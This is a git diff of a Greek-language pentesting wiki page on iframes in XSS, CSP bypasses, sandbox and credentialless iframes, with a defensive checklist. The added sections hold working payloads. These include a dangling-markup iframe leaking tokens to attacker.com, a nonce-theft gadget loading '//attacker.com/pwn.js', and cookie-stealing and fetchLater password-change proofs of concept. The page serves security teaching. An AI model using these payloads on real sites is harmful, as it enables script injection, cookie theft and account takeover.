Translated ['src/pentesting-web/xss-cross-site-scripting/iframes-in-xss-

This commit is contained in:
Translator 2025-08-19 20:32:35 +00:00
parent 8a736f9ede
commit 9f9ac91f52

View File

@ -45,7 +45,7 @@ var secret = "child secret"
alert(parent.secret)
</script>
```
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το `python3 -m http.server`), θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
Αν αποκτήσετε πρόσβαση στο προηγούμενο html μέσω ενός http server (όπως το `python3 -m http.server`) θα παρατηρήσετε ότι όλα τα scripts θα εκτελούνται (καθώς δεν υπάρχει CSP που να το αποτρέπει)., **ο γονέας δεν θα μπορεί να έχει πρόσβαση στη μεταβλητή `secret` μέσα σε οποιοδήποτε iframe** και **μόνο τα iframes if2 & if3 (τα οποία θεωρούνται ότι είναι στον ίδιο ιστότοπο) μπορούν να έχουν πρόσβαση στο secret** στο αρχικό παράθυρο.\
Σημειώστε πώς το if4 θεωρείται ότι έχει `null` προέλευση.
### Iframes με CSP <a href="#iframes_with_csp_40" id="iframes_with_csp_40"></a>
@ -61,7 +61,7 @@ alert(parent.secret)
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='" />
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
@ -76,14 +76,14 @@ id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
```
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του inline script**.\
Σημειώστε ότι η **προηγούμενη CSP επιτρέπει μόνο την εκτέλεση του ενσωματωμένου script**.\
Ωστόσο, **μόνο τα scripts `if1` και `if2` θα εκτελούνται, αλλά μόνο το `if1` θα μπορεί να έχει πρόσβαση στο γονικό μυστικό**.
![](<../../images/image (372).png>)
Επομένως, είναι δυνατόν να **παρακαμφθεί μια CSP αν μπορείτε να ανεβάσετε ένα αρχείο JS στον διακομιστή και να το φορτώσετε μέσω iframe ακόμη και με `script-src 'none'`**. Αυτό μπορεί **πιθανώς να γίνει επίσης εκμεταλλευόμενοι ένα endpoint JSONP της ίδιας τοποθεσίας**.
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλά εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
Μπορείτε να το δοκιμάσετε με το παρακάτω σενάριο όπου ένα cookie κλέβεται ακόμη και με `script-src 'none'`. Απλώς εκτελέστε την εφαρμογή και αποκτήστε πρόσβαση σε αυτήν με τον περιηγητή σας:
```python
import flask
from flask import Flask
@ -103,7 +103,43 @@ return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
```
### Άλλες Payloads που βρέθηκαν στην άγρια φύση <a href="#other_payloads_found_on_the_wild_64" id="other_payloads_found_on_the_wild_64"></a>
#### Νέες (2023-2025) τεχνικές παράκαμψης CSP με iframes
Η ερευνητική κοινότητα συνεχίζει να ανακαλύπτει δημιουργικούς τρόπους κατάχρησης των iframes για να παρακάμψει περιοριστικές πολιτικές. Παρακάτω μπορείτε να βρείτε τις πιο αξιοσημείωτες τεχνικές που δημοσιεύθηκαν τα τελευταία χρόνια:
* **Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023)** Όταν μια εφαρμογή ανακλά HTML αλλά μια ισχυρή CSP μπλοκάρει την εκτέλεση σεναρίων, μπορείτε να διαρρεύσετε ευαίσθητους κωδικούς εισάγοντας ένα *dangling* `<iframe name>` attribute. Μόλις η μερική markup αναλυθεί, το σενάριο του επιτιθέμενου που εκτελείται σε διαφορετική προέλευση πλοηγεί το πλαίσιο στο `about:blank` και διαβάζει το `window.name`, το οποίο τώρα περιέχει τα πάντα μέχρι τον επόμενο χαρακτήρα εισαγωγής (για παράδειγμα, ένα CSRF token). Δεδομένου ότι δεν εκτελείται JavaScript στο πλαίσιο του θύματος, η επίθεση συνήθως αποφεύγει το `script-src 'none'`. Ένα ελάχιστο PoC είναι:
```html
<!-- Injection point just before a sensitive <script> -->
<iframe name="//attacker.com/?"> <!-- attribute intentionally left open -->
````
```javascript
// attacker.com frame
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → leaked value
```
* **Nonce theft via same-origin iframe (2024)** Οι CSP nonces δεν αφαιρούνται από το DOM; απλώς κρύβονται στα DevTools. Εάν ένας επιτιθέμενος μπορεί να εισάγει ένα *same-origin* iframe (για παράδειγμα, ανεβάζοντας HTML στον ιστότοπο) το παιδικό πλαίσιο μπορεί απλά να ερωτήσει `document.querySelector('[nonce]').nonce` και να δημιουργήσει νέους κόμβους `<script nonce>` που ικανοποιούν την πολιτική, δίνοντας πλήρη εκτέλεση JavaScript παρά το `strict-dynamic`. Ο παρακάτω gadget κλιμακώνει μια εισαγωγή markup σε XSS:
```javascript
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
```
* **Form-action hijacking (PortSwigger 2024)** Μια σελίδα που παραλείπει την οδηγία `form-action` μπορεί να έχει τη φόρμα σύνδεσης *re-targeted* από ένα εισαγόμενο iframe ή inline HTML έτσι ώστε οι διαχειριστές κωδικών πρόσβασης να συμπληρώνουν αυτόματα και να υποβάλλουν διαπιστευτήρια σε εξωτερικό τομέα, ακόμη και όταν υπάρχει `script-src 'none'`. Πάντα να συμπληρώνετε το `default-src` με `form-action`!
**Αμυντικές σημειώσεις (γρήγορη λίστα ελέγχου)**
1. Πάντα να στέλνετε *όλες* τις οδηγίες CSP που ελέγχουν δευτερεύοντα πλαίσια (`form-action`, `frame-src`, `child-src`, `object-src`, κ.λπ.).
2. Μην βασίζεστε στο ότι οι nonces είναι μυστικές—χρησιμοποιήστε `strict-dynamic` **και** εξαλείψτε τα σημεία εισαγωγής.
3. Όταν πρέπει να ενσωματώσετε μη αξιόπιστα έγγραφα, χρησιμοποιήστε `sandbox="allow-scripts allow-same-origin"` **πολύ προσεκτικά** (ή χωρίς `allow-same-origin` αν χρειάζεστε μόνο απομόνωση εκτέλεσης σεναρίων).
4. Σκεφτείτε μια ανάπτυξη COOP+COEP με άμυνα σε βάθος; το νέο `<iframe credentialless>` attribute (§ παρακάτω) σας επιτρέπει να το κάνετε αυτό χωρίς να σπάσετε τις ενσωματώσεις τρίτων.
### Άλλες Payloads που βρέθηκαν στην άγρια φύση <a href="#other_payloads_found_on_the_wild_64" id="#other_payloads_found_on_the_wild_64"></a>
```html
<!-- This one requires the data: scheme to be allowed -->
<iframe
@ -117,7 +153,7 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
```
### Iframe sandbox
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υποβληθεί σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού `sandbox`. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Το περιεχόμενο μέσα σε ένα iframe μπορεί να υπόκειται σε επιπλέον περιορισμούς μέσω της χρήσης του χαρακτηριστικού `sandbox`. Από προεπιλογή, αυτό το χαρακτηριστικό δεν εφαρμόζεται, πράγμα που σημαίνει ότι δεν υπάρχουν περιορισμοί.
Όταν χρησιμοποιείται, το χαρακτηριστικό `sandbox` επιβάλλει αρκετούς περιορισμούς:
@ -126,22 +162,30 @@ src='data:text/html,<script defer="true" src="data:text/javascript,document.body
- Η εκτέλεση σεναρίων απαγορεύεται.
- Η πρόσβαση σε ορισμένα APIs είναι απενεργοποιημένη.
- Αποτρέπει τους συνδέσμους από το να αλληλεπιδρούν με άλλα περιβάλλοντα περιήγησης.
- Η χρήση plugins μέσω των `<embed>`, `<object>`, `<applet>`, ή παρόμοιων ετικετών απαγορεύεται.
- Η χρήση plugins μέσω των `<embed>`, `<object>`, `<applet>` ή παρόμοιων ετικετών απαγορεύεται.
- Η πλοήγηση του περιεχομένου στο ανώτατο επίπεδο περιβάλλοντος περιήγησης από το ίδιο το περιεχόμενο αποτρέπεται.
- Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση των ελέγχων φορμών, αποκλείονται.
- Χαρακτηριστικά που ενεργοποιούνται αυτόματα, όπως η αναπαραγωγή βίντεο ή η αυτόματη εστίαση ελέγχων φορμών, αποκλείονται.
Tip: Οι σύγχρονοι περιηγητές υποστηρίζουν λεπτομερείς σημαίες όπως `allow-scripts`, `allow-same-origin`, `allow-top-navigation-by-user-activation`, `allow-downloads-without-user-activation`, κ.λπ. Συνδυάστε τις για να παραχωρήσετε μόνο τις ελάχιστες δυνατότητες που απαιτούνται από την ενσωματωμένη εφαρμογή.
Η τιμή του χαρακτηριστικού μπορεί να αφεθεί κενή (`sandbox=""`) για να εφαρμοστούν όλοι οι παραπάνω περιορισμοί. Εναλλακτικά, μπορεί να οριστεί σε μια λίστα συγκεκριμένων τιμών διαχωρισμένων με κενά που απαλλάσσουν το iframe από ορισμένους περιορισμούς.
```html
<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
```
### Credentialless iframes
Όπως εξηγείται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), η σημαία `credentialless` σε ένα iframe χρησιμοποιείται για να φορτώσει μια σελίδα μέσα σε ένα iframe χωρίς να στείλει διαπιστευτήρια στην αίτηση, διατηρώντας την πολιτική ίδιων προελεύσεων (SOP) της φορτωμένης σελίδας στο iframe.
Αυτό επιτρέπει στο iframe να έχει πρόσβαση σε ευαίσθητες πληροφορίες από ένα άλλο iframe στην ίδια SOP που έχει φορτωθεί στη γονική σελίδα:
Από **Chrome 110 (Φεβρουάριος 2023, η δυνατότητα είναι ενεργοποιημένη από προεπιλογή** και η προδιαγραφή τυποποιείται σε όλους τους περιηγητές υπό το όνομα *anonymous iframe*. Το MDN το περιγράφει ως: “ένας μηχανισμός για να φορτώνονται τρίτα iframes σε μια ολοκαίνουργια, εφήμερη αποθηκευτική διαίρεση, έτσι ώστε κανένα cookie, localStorage ή IndexedDB να μην μοιράζεται με την πραγματική προέλευση”. Συνεπειες για τους επιτιθέμενους και τους υπερασπιστές:
* Τα σενάρια σε διαφορετικά credentialless iframes **συνεχίζουν να μοιράζονται την ίδια κορυφαία προέλευση** και μπορούν να αλληλεπιδρούν ελεύθερα μέσω του DOM, καθιστώντας εφικτές τις επιθέσεις multi-iframe self-XSS (βλ. PoC παρακάτω).
* Επειδή το δίκτυο είναι **credential-stripped**, οποιοδήποτε αίτημα μέσα στο iframe συμπεριφέρεται ουσιαστικά ως μη αυθεντικοποιημένη συνεδρία οι προστατευμένες από CSRF τελικές σημεία συνήθως αποτυγχάνουν, αλλά οι δημόσιες σελίδες που είναι διαρρέουσες μέσω του DOM παραμένουν εντός πεδίου.
* Οι αναδυόμενες οθόνες που προέρχονται από ένα credentialless iframe αποκτούν μια έμμεση `rel="noopener"`, σπάζοντας ορισμένες ροές OAuth.
```javascript
window.top[1].document.body.innerHTML = 'Hi from credentialless';
alert(window.top[1].document.cookie);
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
```
- Παράδειγμα εκμετάλλευσης: Self-XSS + CSRF
@ -171,7 +215,7 @@ alert(window.top[1].document.cookie);
```
### fetchLater Attack
Όπως αναφέρεται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), το API `fetchLater` επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμιστεί ένα αίτημα `fetchLater` (για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα `fetchLater` θα εκτελεστεί, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
Όπως αναφέρεται σε [αυτό το άρθρο](https://blog.slonser.info/posts/make-self-xss-great-again/), το API `fetchLater` επιτρέπει τη ρύθμιση ενός αιτήματος να εκτελείται αργότερα (μετά από μια συγκεκριμένη χρονική περίοδο). Επομένως, αυτό μπορεί να καταχραστεί για παράδειγμα, να συνδεθεί ένα θύμα μέσα σε μια συνεδρία επιτιθέμενου (με Self-XSS), να ρυθμιστεί ένα αίτημα `fetchLater` (για να αλλάξει τον κωδικό πρόσβασης του τρέχοντος χρήστη για παράδειγμα) και να αποσυνδεθεί από τη συνεδρία του επιτιθέμενου. Στη συνέχεια, το θύμα συνδέεται στη δική του συνεδρία και το αίτημα `fetchLater` θα εκτελείται, αλλάζοντας τον κωδικό πρόσβασης του θύματος σε αυτόν που έχει ρυθμίσει ο επιτιθέμενος.
Με αυτόν τον τρόπο, ακόμη και αν η διεύθυνση URL του θύματος δεν μπορεί να φορτωθεί σε ένα iframe (λόγω CSP ή άλλων περιορισμών), ο επιτιθέμενος μπορεί να εκτελέσει ένα αίτημα στη συνεδρία του θύματος.
```javascript
@ -181,9 +225,9 @@ let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
```
## Iframes στο SOP
## Iframes in SOP
Ελέγξτε τις παρακάτω σελίδες:
Δείτε τις παρακάτω σελίδες:
{{#ref}}
../postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
@ -201,4 +245,10 @@ fetchLater(req,{activateAfter: timeout})
../postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md
{{#endref}}
## References
* [PortSwigger Research Using form hijacking to bypass CSP (March 2024)](https://portswigger.net/research/using-form-hijacking-to-bypass-csp)
* [Chrome Developers Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)](https://developer.chrome.com/blog/iframe-credentialless)
{{#include ../../banners/hacktricks-training.md}}